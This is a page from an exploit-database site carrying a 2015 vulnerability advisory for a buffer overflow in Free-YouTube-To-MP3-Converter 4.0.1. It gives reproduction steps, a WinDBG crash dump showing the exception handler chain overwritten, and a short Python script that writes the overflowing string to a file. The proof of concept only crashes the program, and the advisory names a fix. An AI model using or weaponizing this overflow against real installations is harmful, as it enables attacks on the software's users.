0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Free-YouTube-To-MP3-Converter 4.0.1 - Buffer Overflow Vulnerability
[-----------------------------------------------------
Exploit Title : Free-YouTube-To-MP3-Converter - Buffer Overflow Vulnerability
Date : 28/09/2015
Exploit Author : ZwX
Software Vendor : https://www.dvdvideosoft.com
Software Link: http://apps.dvdvideosoft.com/fr/downloadSource/FreeYouTubeToMP3Converter.exe
Version: 4.0.1
Tested on: Windows 7
-----------------------------------------------------
---------------------------
* Solution - Fix & Patch: *
---------------------------
- Restrict the number of characters in input Activation Key.
--------------------------------
* Steps to Produce the Crash: *
--------------------------------
- 1. Execute Free-YouTube-To-MP3-Converter.exe
- 2. Copy the AAAA...string from bof.txt to clipboard
- 3. Go Menu -> Tools -> Options
- 4. Paste it the input Activation Key AAAA....string click Activate
- 5. Software will Crash.
--------------------------------
* Crash Analysis using WinDBG: *
--------------------------------
Access violation - code c0000005 (!!! second chance !!!)
eax=00316a30 ebx=41414141 ecx=41414141 edx=00000000 esi=00316a30 edi=00000000
eip=779071b4 esp=003169cc ebp=00316a1c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!KiFastSystemCallRet:
779071b4 c3 ret
0:000> !exchain
00319484: 41414141
Invalid exception stack at 41414141
0:000> d 00319484
00319484 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00319494 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003194a4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003194b4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003194c4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003194d4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003194e4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003194f4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
001e6a5c 776db2e6 001e6a70 001e6ac0 00000000 ntdll!KiFastSystemCallRet
001e6d90 776b0844 41414141 fffffffe fffffffe ntdll!RtlRemoteCall+0x236
001e6de0 7763f9be 41414141 0000004d 001e94b4 ntdll!EtwSetMark+0x14bea
001e6e60 77667117 001e6e78 001e6e94 001e6e78 ntdll!RtlGetGroupSecurityDescriptor+0x2b2
001e9334 41414141 41414141 41414141 41414141 ntdll!KiUserExceptionDispatcher+0xf
001e9338 41414141 41414141 41414141 41414141 0x41414141
------------------------
* Proof Of Concept *
------------------------
buffer = "\x41"*8538
seh = "\x42"*12
file = open("bof.txt","w")
file.write(buffer+seh)
file.close()
print "POC Created by ZwX"
print " Email: msk4@live.fr"
# 0day.today [2025-01-06] #